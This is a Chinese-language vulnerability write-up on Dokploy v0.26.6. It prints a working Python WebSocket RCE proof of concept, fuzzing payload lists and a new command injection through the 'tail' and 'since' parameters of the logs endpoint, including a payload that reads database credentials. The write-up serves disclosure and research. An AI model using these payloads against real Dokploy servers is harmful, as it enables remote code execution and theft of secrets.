Dokploy v0.26.6 命令注入漏洞挖掘记录

前言

之前不是分析了 Dokploy 的漏洞吗,分析了 Dokploy 如何修复后,我发现修复可能存在问题,便开始想想如何绕过,最后虽然没有从正面突破,不过侧面挖掘出了一个新的 RCE 漏洞

上个版本修复

添加输入验证函数

文件: apps/dokploy/server/wss/utils.ts

官方新增了两个严格的验证函数:

/**
 * 验证容器 ID 格式
 * 支持:完整 ID(64位十六进制)、短 ID(12位十六进制)、容器名称
 */
export const isValidContainerId = (id: string): boolean => {
    // 匹配十六进制 ID(12-64 位)
    const hexPattern = /^[a-f0-9]{12,64}$/i;

    // 匹配容器名称(字母数字开头,可含下划线、点、横线,最长128字符)
    const namePattern = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;

    return hexPattern.test(id) || (namePattern.test(id) && id.length <= 128);
};

/**
 * 验证 shell 类型
 * 只允许预定义的安全 shell
 */
export const isValidShell = (shell: string): boolean => {
    const allowedShells = [
        "sh",
        "bash",
        "zsh",
        "ash",
        "/bin/sh",
        "/bin/bash",
        "/bin/zsh",
        "/bin/ash",
    ];
    return allowedShells.includes(shell);
};

验证逻辑分析:

  • isValidContainerId: 使用正则表达式严格验证容器 ID 格式
  • 允许 Docker 标准 ID:12-64 位十六进制字符
  • 允许容器名称:必须以字母或数字开头,只能包含 [a-zA-Z0-9_.-],最长 128 字符
  • 阻止所有包含特殊字符(;、|、&、空格等)的输入
  • isValidShell: 使用白名单方式验证 shell 类型
  • 只允许 8 个预定义的安全 shell
  • 完全阻止任意 shell 路径或命令注入

参数使用前添加验证

文件: apps/dokploy/server/wss/docker-container-terminal.ts

+ import { isValidContainerId, isValidShell } from "./utils";

  wssTerm.on("connection", async (ws, req) => {
      const url = new URL(req.url || "", `http://${req.headers.host}`);
      const containerId = url.searchParams.get("containerId");
      const activeWay = url.searchParams.get("activeWay");

      if (!containerId) {
          ws.close(4000, "containerId not provided");
          return;
      }

+     // Security: Validate containerId to prevent command injection
+     if (!isValidContainerId(containerId)) {
+         ws.close(4000, "Invalid container ID format");
+         return;
+     }

+     // Security: Validate shell to prevent command injection
+     if (activeWay && !isValidShell(activeWay)) {
+         ws.close(4000, "Invalid shell specified");
+         return;
+     }

+     // Default to 'sh' if no shell specified
+     const shell = activeWay || "sh";

      const { user, session } = await validateRequest(req);
      // ...
  });

在使用参数前进行验证,验证失败立即断开连接, activeWay 设置默认值 "sh"

避免 Shell 解释

本地场景修复:

  //  修复前(v0.26.5 - 存在漏洞)
- const shell = getShell();
- const ptyProcess = spawn(
-     shell,
-     ["-c", `docker exec -it -w / ${containerId} ${activeWay}`],
-     {},
- );

  // 修复后(v0.26.6 - 安全)
+ const ptyProcess = spawn(
+     "docker",
+     ["exec", "-it", "-w", "/", containerId, shell],
+     {},
+ );


不再使用 bash -c 模式,直接调用 docker 命令,参数作为数组传递,不经过 shell 解释,就算传入的 containerId 包含分号,也只会被当作普通字符串

远程 SSH 场景修复:

  // ❌ 修复前(v0.26.5 - 存在漏洞)
- conn.exec(
-     `docker exec -it -w / ${containerId} ${activeWay}`,
-     { pty: true },
-     (err, stream) => { /* ... */ }
- );

  // ✅ 修复后(v0.26.6 - 安全)
+ const dockerCommand = [
+     "docker",
+     "exec",
+     "-it",
+     "-w",
+     "/",
+     containerId,
+     shell,
+ ].join(" ");
+ conn.exec(dockerCommand, { pty: true }, (err, stream) => { /* ... */ });

虽然远程场景仍使用字符串拼接(因为 SSH 的 exec 只接受字符串),前面已经通过正则表达式严格验证了 containerId 和 shell,准备绕一绕,说不定就是一个新漏洞了

我的想法

  1. 官方可能只修复了这些端点,其他端点可能被遗漏
  2. 修复可能存在逻辑漏洞或边界条件
  3. 可能存在其他的意想不到的绕过方法

环境搭建

# 确认使用最新版本
docker pull dokploy/dokploy:v0.26.6

# docker-compose.yml
version: '3.8'
services:
  dokploy:
    image: dokploy/dokploy:v0.26.6
    ports:
      - "3001:3000"
    environment:
      DATABASE_URL: "postgresql://dokploy:dokploy123@postgres:5432/dokploy"
      REDIS_URL: "redis://redis:6379"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock

# 启动环境
docker-compose up -d


修复的有效性

我们再次使用之前的脚本

#!/usr/bin/env python3
"""
Dokploy Command Injection PoC (CVE-2026-XXXXX)
Authenticated RCE via WebSocket - CRITICAL

Usage:
  python3 dokploy-poc.py <target> <cookie>           # Run default tests
  python3 dokploy-poc.py <target> <cookie> <cmd>    # Run custom command

Examples:
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" whoami
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "ls -la /root"
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "cat /etc/shadow"
"""
import sys, asyncio
from urllib.parse import quote
try:
    import websockets
except ImportError:
    sys.exit("pip install websockets")

async def exploit(target, cookie, cmd):
    payload = f"x;{cmd};#"
    uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
    out = ""
    try:
        async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
            while True:
                try:
                    out += await asyncio.wait_for(ws.recv(), timeout=2)
                except asyncio.TimeoutError:
                    break
    except Exception as e:
        return f"Error: {e}"
    # Clean docker error noise
    lines = out.split('\n')
    clean = [l for l in lines if not any(x in l for x in ['docker:', 'Usage:', 'docker exec', "See '"])]
    return '\n'.join(clean).strip()

async def main():
    if len(sys.argv) < 3:
        print(__doc__)
        sys.exit(1)

    target, cookie = sys.argv[1], sys.argv[2]

    if len(sys.argv) > 3:
        cmd = " ".join(sys.argv[3:])
        print(f"$ {cmd}\n")
        print(await exploit(target, cookie, cmd))
    else:
        print(f"[*] Target: {target}\n")
        for name, cmd in [("id", "id"), ("passwd", "head -3 /etc/passwd"), ("env", "env|head -5")]:
            out = await exploit(target, cookie, cmd)
            vuln = "uid=" in out or "root:" in out or "=" in out
            print(f"[{'!' if vuln else '?'}] {name}: {out[:150] if out else 'no response'}\n")

if __name__ == "__main__":
    asyncio.run(main())


全部失败了,证明之前的那个漏洞是修复成功了的

绕过尝试

绕过最好用的办法就是 fuzz,因为这样才会发现意想不到的绕过方法,于是开始了 fuzz,核心逻辑就一个,我不看你怎么修复的,我就量大,就直接绕
如何生成 payload 懂的都懂

Shell 元字符变体

思路: 测试所有可能被 shell 解释的元字符

test_payloads = [
    "x;whoami;#",      # 分号
    "x|whoami",        # 管道符
    "x&&whoami",       # 双与符
    "x||whoami",       # 双或符
    "x`whoami`",       # 反引号
    "x$(whoami)",      # 命令替换
    "x&whoami&",       # 后台执行
]

for payload in test_payloads:
    result = test_docker_container_terminal(payload, "sh")
    # 全部返回: Invalid container ID format 

特殊字符绕过

思路: 使用全角字符、零宽字符、控制字符绕过正则验证

unicode_payloads = [
    "x;whoami",        # 全角分号 U+FF1B
    "x|whoami",        # 全角管道 U+FF5C
    "x\u200bwhoami",   # 零宽空格
    "x\u200dwhoami",   # 零宽连接符
    "x\vwhoami",       # 垂直制表符
    "x\rwhoami",       # 回车符
    "x\u00a0whoami",   # 不间断空格
    "x\u3000whoami",   # 全角空格
]

for payload in unicode_payloads:
    result = test_docker_container_terminal(payload, "sh")
    # 全部返回: Invalid container ID format ❌

结果: ❌ 全部被阻止

分析: 正则表达式 /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/ 严格限制了允许的字符集

URL 编码绕过

思路: 测试 URL 编码是否能绕过验证

encoding_payloads = [
    "x%3bwhoami%3b%23",      # URL 编码分号
    "x%7cwhoami",            # URL 编码管道
    "x%253bwhoami",          # 双重编码
]

for payload in encoding_payloads:
    result = test_docker_container_terminal(payload, "sh")
    # 全部返回: Invalid container ID format ❌

结果: ❌ 全部被阻止

原因: WebSocket/Node.js 会自动解码 URL 编码后再验证

容器名称边界测试

思路: 测试正则表达式的边界条件

boundary_payloads = [
    "a" + "b" * 127,         # 128字符边界
    "a..",                   # 连续点号
    "a--",                   # 连续横线
    "a__",                   # 连续下划线
    "a.-._-.",               # 混合特殊字符
    ".test",                 # 点号开头(应该被阻止)
    "-test",                 # 横线开头(应该被阻止)
    "test.",                 # 点号结尾
    "a--help",              # 双横线参数注入尝试
]

for payload in boundary_payloads:
    result = test_docker_container_terminal(payload, "sh")

结果:

a.., a--, a__, test. 等: ✅ 通过验证,但 Docker 返回 "No such container"
.test, -test: ❌ 被阻止 (Invalid container ID format)

分析:

  • 正则验证正确执行:必须以字母数字开头
  • 虽然某些 payload 通过了验证,但没有实际的命令注入机会

Shell 参数白名单绕过

思路: 测试 shell 参数的白名单验证

shell_payloads = [
    "/bin/sh",               # 白名单内
    "/bin/../bin/sh",        # 路径遍历
    "/bin/./sh",             # 点号路径
    "sh -c",                 # 参数注入
    "bash --version",        # 参数注入
    "SH",                    # 大写
    "Sh",                    # 混合大小写
    "ksh",                   # 不在白名单
]

for shell in shell_payloads:
    result = test_docker_container_terminal("test123", shell)

结果:

/bin/sh, sh, bash: ✅ 通过验证
/bin/../bin/sh, sh -c: ❌ Invalid shell specified
ksh, SH, Sh: ❌ Invalid shell specified

分析: 白名单使用精确匹配 includes(),无法绕过

寻找新的攻击面

正面硬刚不行,那我没招了,只能侧面突击了

思路转变: 官方可能只修复了一个端点,其他端点可能被遗漏

因为我觉得只要从 WebSocket 端点走的就可能存在漏洞

/docker-container-logs 端点源码

文件: apps/dokploy/server/wss/docker-container-logs.ts

wssTerm.on("connection", async (ws, req) => {
    const url = new URL(req.url || "", `http://${req.headers.host}`);
    const containerId = url.searchParams.get("containerId");
    const tail = url.searchParams.get("tail");
    const search = url.searchParams.get("search");
    const since = url.searchParams.get("since");
    const serverId = url.searchParams.get("serverId");
    const runType = url.searchParams.get("runType");

    if (!containerId) {
        ws.close(4000, "containerId no provided");
        return;
    }

    // 没有调用 isValidContainerId() 验证!

    const baseCommand = `docker ${runType === "swarm" ? "service" : "container"} logs --timestamps ${
        runType === "swarm" ? "--raw" : ""
    } --tail ${tail} ${
        since === "all" ? "" : `--since ${since}`
    } --follow ${containerId}`;

    //  字符串拼接!
    const ptyProcess = spawn(shell, ["-c", command], {...});
});


containerId 只检查是否为空,没有格式验证,而且参数直接拼接到字符串中使用 spawn(shell, ["-c", command]) 导致 shell 解释

对比 v0.26.6 修复后的 /docker-container-terminal:

// ✅ v0.26.6 修复后的代码
if (!isValidContainerId(containerId)) {
    ws.close(4000, "Invalid container ID format");
    return;
}
if (activeWay && !isValidShell(activeWay)) {
    ws.close(4000, "Invalid shell specified");
    return;
}
const ptyProcess = spawn("docker", ["exec", "-it", "-w", "/", containerId, shell]);


利用未修复的端点

思路: 既然 containerId 没有验证,先测试原始的 v0.26.5 payload

# Payload 1: 直接注入
containerId = "x;whoami;#"
tail = "10"

# WebSocket URL
ws://localhost:3001/docker-container-logs?containerId=x;whoami;#&tail=10

但是结果还是一样的,很奇怪

我怀疑可能在其他地方(中间件或路由层)有全局验证,或者再看看代码逻辑

我们重新阅读 docker-container-logs.ts 的完整代码:

// 第30-48行
wssTerm.on("connection", async (ws, req) => {
    const url = new URL(req.url || "", `http://${req.headers.host}`);
    const containerId = url.searchParams.get("containerId");
    const tail = url.searchParams.get("tail");
    const search = url.searchParams.get("search");
    const since = url.searchParams.get("since");
    const serverId = url.searchParams.get("serverId");
    const runType = url.searchParams.get("runType");

    if (!containerId) {
        ws.close(4000, "containerId no provided");
        return;
    }

    if (!user || !session) {
        ws.close();
        return;
    }

    // 第114-123行:命令构造
    const baseCommand = `docker ${runType === "swarm" ? "service" : "container"} logs --timestamps ${
        runType === "swarm" ? "--raw" : ""
    } --tail ${tail} ${
        since === "all" ? "" : `--since ${since}`
    } --follow ${containerId}`;

注意位置关系 containerId 在命令的最后位置, tail 和 since 在中间位置,如果在 tail 或 since 中注入,可以提前终止 docker 命令,然后执行我们的命令

tail 参数注入

脚本就先不给了,就改几个参数的事情

我们看看大概的原理

通过 tail 参数注入

containerId = "123123"  # 任意值
tail = "10; whoami; #"  # 在 tail 参数中注入

# 实际执行的命令
# docker container logs --timestamps --tail 10; whoami; # --follow 123123
#                                          ^^^^^^^^^^^^
#                                          我们的命令!


窃取数据库密码

tail = "10; env | grep DATABASE; #"

# 输出
DATABASE_URL=postgresql://dokploy:dokploy123@postgres:5432/dokploy  


since 参数

这个参数一样的原理了

containerId = "123"
tail = "10"
since = "1h; whoami; #"

# 实际命令
# docker container logs --timestamps --tail 10 --since 1h; whoami; # --follow dummy

漏洞修复

按照之前的修复逻辑就行了

只是这个地方被漏掉了

免责说明

本文只做技术分享,完整的报告已经提交官方,滥用后果自负